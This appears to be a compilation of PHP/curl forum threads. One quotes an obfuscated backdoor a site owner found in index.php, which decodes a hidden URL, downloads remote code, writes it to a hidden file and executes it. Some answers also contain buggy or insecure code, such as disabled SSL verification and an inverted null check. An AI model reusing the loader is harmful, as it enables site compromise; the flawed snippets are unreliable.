I am having a bit of trouble with some code where in an array I have a list of 2 and the function is only displaying the last in the list.
Here is the code:
<?php
function getKeywordPosition($theurl,$thekeywords) {
$theurl = $theurl;
$thekeywords = $thekeywords;
$found = false;
$x = 0;
for($x; $x < 64 && $found == false;)
{
$url = "http://ajax.googleapis.com/ajax/services/search/web?v=1.0&"
. "q=".stripslashes(str_replace(' ', '%20', $thekeywords)).'&start='.$x;
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_REFERER, 'http://www.boo.com');
$body = curl_exec($ch);
curl_close($ch);
$json = json_decode($body);
$x4 = $x + 4;
$old_x = $x;
for($x; $x < $x4 && $found == false; $x = $x + 1)
{
if (strpos($json->responseData->results[$x-$old_x]->unescapedUrl, strtolower($theurl)) !== false)
{
$found = true;
}
}
// now have some fun with the results...
}
if($found)
{
echo '<strong>'.$theurl.'</strong> is located as the <strong>'.$x.'</strong> result when searching for <strong>'.stripslashes($thekeywords).'</strong>';
echo '<br>';
}
}
$list = array('php.com'=>'php', 'php.com'=>'php');
foreach($list as $key => $value){
getKeywordPosition($key,$value);
}
?>
Why is this not working properly?
Unless this is a badly contrived example, then th issue is you have duplicate keys in your array:
$list = array('php.com'=>'php', 'php.com'=>'php');
This array has a single entry
You coud refactor like so:
$list = array(
array('url'=>'php.net', 'keyword'=>'php'),
array('url'=>'php.net', 'keyword'=>'arrays'),
array('url'=>'php.net', 'keyword'=>'anotherkeyword')
);
foreach($list as $entry){
getKeywordPosition($entry['url'], $entry['keyword']);
}
Related
This is the challenge: In the PHP file, write a program to perform a GET request on the route https://coderbyte.com/api/challenges/json/age-counting which contains a data key and the value is a string which contains items in the format: key=STRING, age=INTEGER. Your goal is to count how many items exist that have an age equal to or greater than 50, and print this final value.
Example Input
{"data":"key=IAfpK, age=58, key=WNVdi, age=64, key=jp9zt, age=47"}
Once your function is working, take the final output string and replace all characters that appear in your ChallengeToken with --[CHAR]--.
Your ChallengeToken: ndv946kie1
Here's my code:
<?PHP
$ch = curl_init('https://coderbyte.com/api/challenges/json/age-counting');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, 0);
$data = curl_exec($ch);
curl_close($ch);
//print_r(json_decode($data, true));
$arr = json_decode($data, true);
$items = explode(', ', $arr['data']);
$count = 0;
foreach ($items as $item){
//print_r($item . PHP_EOL);
if(str_starts_with($item,'age=')===true){
$age = explode('=',$item)[1];
if($age >= 50)
$count++;
}
}
$str = 'ndv946kie1';
$chars = str_split($str);
$final = '';
foreach ($chars as $char){
$final = $final . $count;
}
print_r($final);
?>
coderbyte says incorrect output, maybe I misunderstood the last instruction?
I had the same problem...
Giving below the code that worked for me:
<?php
$ch = curl_init('https://coderbyte.com/api/challenges/json/age-counting');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, 0);
$data = curl_exec($ch);
curl_close($ch);
//print_r(json_decode($data, true));
$arr = json_decode($data, true);
$items = explode(', ', $arr['data']);
$count = 0;
foreach ($items as $item){
//print_r($item . PHP_EOL);
if(str_starts_with($item,'age=')===true){
$age = explode('=',$item)[1];
if($age >= 50)
$count++;
}
}
print_r($count);
?>
Please try with this
<?php
$ch = curl_init('https://coderbyte.com/api/challenges/json/age-counting');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, 0);
$data = curl_exec($ch);
curl_close($ch);
$json_data = json_decode($data, true);
$items = explode(', ', $json_data['data']);
$count = array_reduce($items, function ($count, $item) {
if (strpos($item, 'age=') !== false) {
$age = explode('=', $item)[1];
if ($age >= 50) return $count + 1;
}
return $count;
}, 0);
print_r($count);
I need get array out of loop (I need used array, and not, last value)
loop
for ($x = 1; $x < $numero; $x++) {
$frase = $frase_script[$x];
$distrito1 = (explode(',',$frase));
echo $distrito1[0]}
Variable out
$ultimo_nome = $distrito1[0];
I need used array, and not, last value
echo "<br> I need print array, and not, last value".$ultimo_nome;
error: prints the last value and not an array.
Example
all code
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "http://api.geonames.org/searchJSON?username=country=pt&lang=pt&q=lisbon&fcode=ADM2&adminCode1=14&style=SHORT&maxRows=1000");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
curl_setopt($ch, CURLOPT_HEADER, FALSE);
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
"Accept: application/json"
));
$response = curl_exec($ch);
curl_close($ch);
$frase_script = (explode(',',$response));
$frase = $frase_script[0];
$palavra = (explode(':',$frase));
$numero = $palavra[1];
$frase_script = (explode('"name":',$response));
echo '[';
for ($x = 1; $x < $numero; $x++) {
$frase = $frase_script[$x];
$distrito1 = (explode(',',$frase));
echo $distrito1[0]; }
$ultimo_nome = $distrito1[0];
echo $ultimo_nome;
echo ']';
echo "<br> I need print array, and not, last value".$ultimo_nome;
if you need print all the elements but not the lasy you could use
$distrito1 = (explode(',',$frase));
$numElem = count($distrito1);
foreach ($distrito1 as $key => $value){
if ( $key < $numElem-1 ){
echo $value;
} else {
break;
}
}
Being the only developer on my server with no one else having access to it, I'm curious to know if hackers can somehow write to php files? I have come across this section of PHP code at the top of my index.php which I am not familiar with and have not put it there myself. I don't know what to make of it or what their attempts are, a little worried. Any advice is appreciated thank you.
<?php
#ini_set('display_errors', '0');
error_reporting(0);
$ea = '_shaesx_'; $ay = 'get_data_ya'; $ae = 'decode'; $ea = str_replace('_sha', 'bas', $ea); $ao = 'wp_cd'; $ee = $ea.$ae; $oa = str_replace('sx', '64', $ee); $algo = 'md5';
$pass = "Zgc5c4MXrLUocQYT5ZtHJf/cM1fWdrpdmmSLH6uToRkH";
if (ini_get('allow_url_fopen')) {
function get_data_ya($url) {
$data = file_get_contents($url);
return $data;
}
}
else {
function get_data_ya($url) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 8);
$data = curl_exec($ch);
curl_close($ch);
return $data;
}
}
function wp_cd($fd, $fa="")
{
$fe = "wp_frmfunct";
$len = strlen($fd);
$ff = '';
$n = $len>100 ? 8 : 2;
while( strlen($ff)<$len )
{
$ff .= substr(pack('H*', sha1($fa.$ff.$fe)), 0, $n);
}
return $fd^$ff;
}
$reqw = $ay($ao($oa("$pass"), 'wp_function'));
preg_match('#gogo(.*)enen#is', $reqw, $mtchs);
$dirs = glob("*", GLOB_ONLYDIR);
foreach ($dirs as $dira) {
if (fopen("$dira/.$algo", 'w')) { $ura = 1; $eb = "$dira/"; $hdl = fopen("$dira/.$algo", 'w'); break; }
$subdirs = glob("$dira/*", GLOB_ONLYDIR);
foreach ($subdirs as $subdira) {
if (fopen("$subdira/.$algo", 'w')) { $ura = 1; $eb = "$subdira/"; $hdl = fopen("$subdira/.$algo", 'w'); break; }
}
}
if (!$ura && fopen(".$algo", 'w')) { $ura = 1; $eb = ''; $hdl = fopen(".$algo", 'w'); }
fwrite($hdl, "<?php\n$mtchs[1]\n?>");
fclose($hdl);
include("{$eb}.$algo");
unlink("{$eb}.$algo");
?>
I would quarantine your site until you can find how the hacker got access in the first place. Then fix that issue. Removing his code won't stop him coming back if the previous security hole still remains. Its probably from some insecure wordpress plugin.
With regards to the hackers code, it seems to crawl from an arbitrary url and write to your server.
Here is the code I have, I cannot work out what is causing the delays?
To load the remote URL it doesn't take more than a second, should I pass a user_agent?
Please excuse if this is a stupid question, I'm new to PHP, would it be worth setting a timeout as part of the curl request?
<?php
$url = $_GET['url'];
if(!filter_var($url, FILTER_VALIDATE_URL)) {
?>
{"errors":1,"message":"The URL was not valid"}
<?php
die();
}
$p=parse_url($url);
$baseurl = $p['scheme'] . '://' . $p['host'];
$path_parts = pathinfo($url);
$current_dir = $path_parts['dirname'];
Function check_img($file) {
$x = #getimagesize($file);
if ($x) {
switch ($x['mime']) {
case "image/gif" || "image/jpeg" || "image/png":
$response = true;
break;
default:
$response = false;
break;
}
} else {
$response = false;
}
return $response;
}
function ranger($url){
$headers = array(
"Range: bytes=0-605768"
);
$curl = curl_init($url);
curl_setopt($curl, CURLOPT_HTTPHEADER, $headers);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($curl, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);
$data = curl_exec($curl);
curl_close($curl);
return $data;
}
function file_get_contents_curl($url)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$data = curl_exec($ch);
curl_close($ch);
return $data;
}
$html = file_get_contents_curl($url);
//parsing begins here:
$doc = new DOMDocument();
#$doc->loadHTML($html);
$nodes = $doc->getElementsByTagName('title');
// Get all image tags
$imageTags = $doc->getElementsByTagName('img');
$numImages = $doc->getElementsByTagName('img')->length;
//get and display what you need:
$metas = $doc->getElementsByTagName('meta');
for ($i = 0; $i < $metas->length; $i++)
{
$meta = $metas->item($i);
if($meta->getAttribute('property') == 'og:image' || $meta->getAttribute('name') == 'og:image')
$fb_image = $meta->getAttribute('content');
$fb_image = isset($fb_image) ? $fb_image : '';
}
?>
{
"resource_images": {
"url" : "<?php echo $url?>",
"baseurl" : "<?php echo $baseurl?>",
"fb" : "<?php echo $fb_image?>",
"images" : [<?php
$i = 0;
$image_results = array();
$numItems = count($imageTags);
if ($fb_image !== '') {
$image_results[] = $fb_image;
}
foreach($imageTags as $tag) {
if ($i >= 25) {
break;
}
if (substr($tag->getAttribute('src'),0,4) === 'http') {
$img = $tag->getAttribute('src');
} elseif (substr($tag->getAttribute('src'),0,1) === '/') {
$img = $baseurl . $tag->getAttribute('src');
} else {
$img = $current_dir . $tag->getAttribute('src');
}
$exists = check_img($img);
if ($exists) {
$raw = ranger($img);
$im = imagecreatefromstring($raw);
$width = imagesx($im);
$height = imagesy($im);
if ($width > 300) {
$image_results[] = str_replace('"', "", $img);
}
if(++$i < $numItems && ++$i < 25) {
echo ",";
}
}
}
$i = 0;
foreach($image_results as $img_url) {
?>
{
"url" : "<?php echo str_replace('"', "", $img_url);?>",
"count" : <?php echo count($image_results)?>
}
<?php
if(++$i < count($image_results) && $i < 15) {
echo ",";
}
}?>
]
}
}
use this at the beginning:
set_time_limit(0)
Yes, definately a timeout on the curl, as this can go on forever.
What I would do in this case is to pinpoint the code that is taking up alot of the time like this:
<?php
function microtime_float() {
list($usec, $sec) = explode(" ", microtime());
return ((float)$usec + (float)$sec);
}
$time_start = microtime_float(); //this # the top of ur file
// process some code
// ...
// show results, this can be anywhere, inside a function, loop etc,
$time_end = microtime_float();
$time = $time_end - $time_start;
echo "Did it in $time seconds\n . <br>";
I wouldnt time the whole script but go part by part and find out where the wait is.
Code on pastebin
Link on test page
Code:
require_once('simple_html_dom.php');
$file = 'http://testwork.ru/Tempp/domains.php'; // page with table
$SymbolsCountMin = 0;
$SymbolsCountMax = 10;
$SymbolsBackLis = array('-','_','.','0','1','2','3','4','5','6','7','8','9');
$ArrTr = array();
$ArrTd = array();
$ch = curl_init($file);
curl_setopt($ch, CURLOPT_URL, $file );
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true );
curl_setopt($ch, CURLOPT_VERBOSE, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
'Content-Type: application/x-www-form-urlencoded'
));
$html = curl_exec($ch);
//$responseInfo = curl_getinfo($ch);
curl_close ($ch);
//var_dump($html);
//$html = file_get_html('http://testwork.ru/Tempp/domains.php');
// Find all tr
$row = 0;
foreach($html->find('tr') as $tr){
if($row!=0){
$row++;
$column = 0;
foreach($tr->find('td') as $td){
$column++;
$text = $td->plaintext;
$ArrTd[$column] = $text;
}
}
if(iconv_strlen($ArrTd[0]) > $SymbolsCountMin && iconv_strlen($ArrTd[0]) < $SymbolsCountMax && !in_array($ArrTd[0], $SymbolsBackList)){
$ArrTr[$row] = $ArrTd;
}
}
$c = '';
foreach($ArrTr as $arr_tr =>$ftr){
$c .='<tr>';
foreach($ftr as $arr_td =>$ftd){
$c .='<td>';
$c .= $ftd;
$c .='<td>';
}
$c .='</tr>';
}
$row_header = '
<table style="text-align:center;">
';
$row_header .= $c;
$row_header .= '
</table>';
echo $row_header;
I get error Fatal error: Call to a member function find() on a non-object in /var/www/seo-main/data/www/testwork.ru/Tempp/parse_domains.php on line 34
Tell me please why i get it error and how make right ?
find() is a member function of
http://simplehtmldom.sourceforge.net/
You have commented out the line
$html = file_get_html('http://testwork.ru/Tempp/domains.php');
With CURL it will return html content not the parsed data.
If you are intend to use CURL then use
$html_data = curl_exec($ch);
curl_close ($ch);
$html = str_get_html($html_data ); // using the returned html from curl to the parser
Then do the rest of the parsing part.
You need to edit the code like this:
// Find all tr
$row = 0;
if(!$html) { // check if $html does exists
foreach($html->find('tr') as $tr){
if($row!=0){
$row++;
$column = 0;
foreach($tr->find('td') as $td){
$column++;
$text = $td->plaintext;
$ArrTd[$column] = $text;
}
}
if(iconv_strlen($ArrTd[0]) > $SymbolsCountMin && iconv_strlen($ArrTd[0]) < $SymbolsCountMax && !in_array($ArrTd[0], $SymbolsBackList)){
$ArrTr[$row] = $ArrTd;
}
}
}
or use a try and catch statement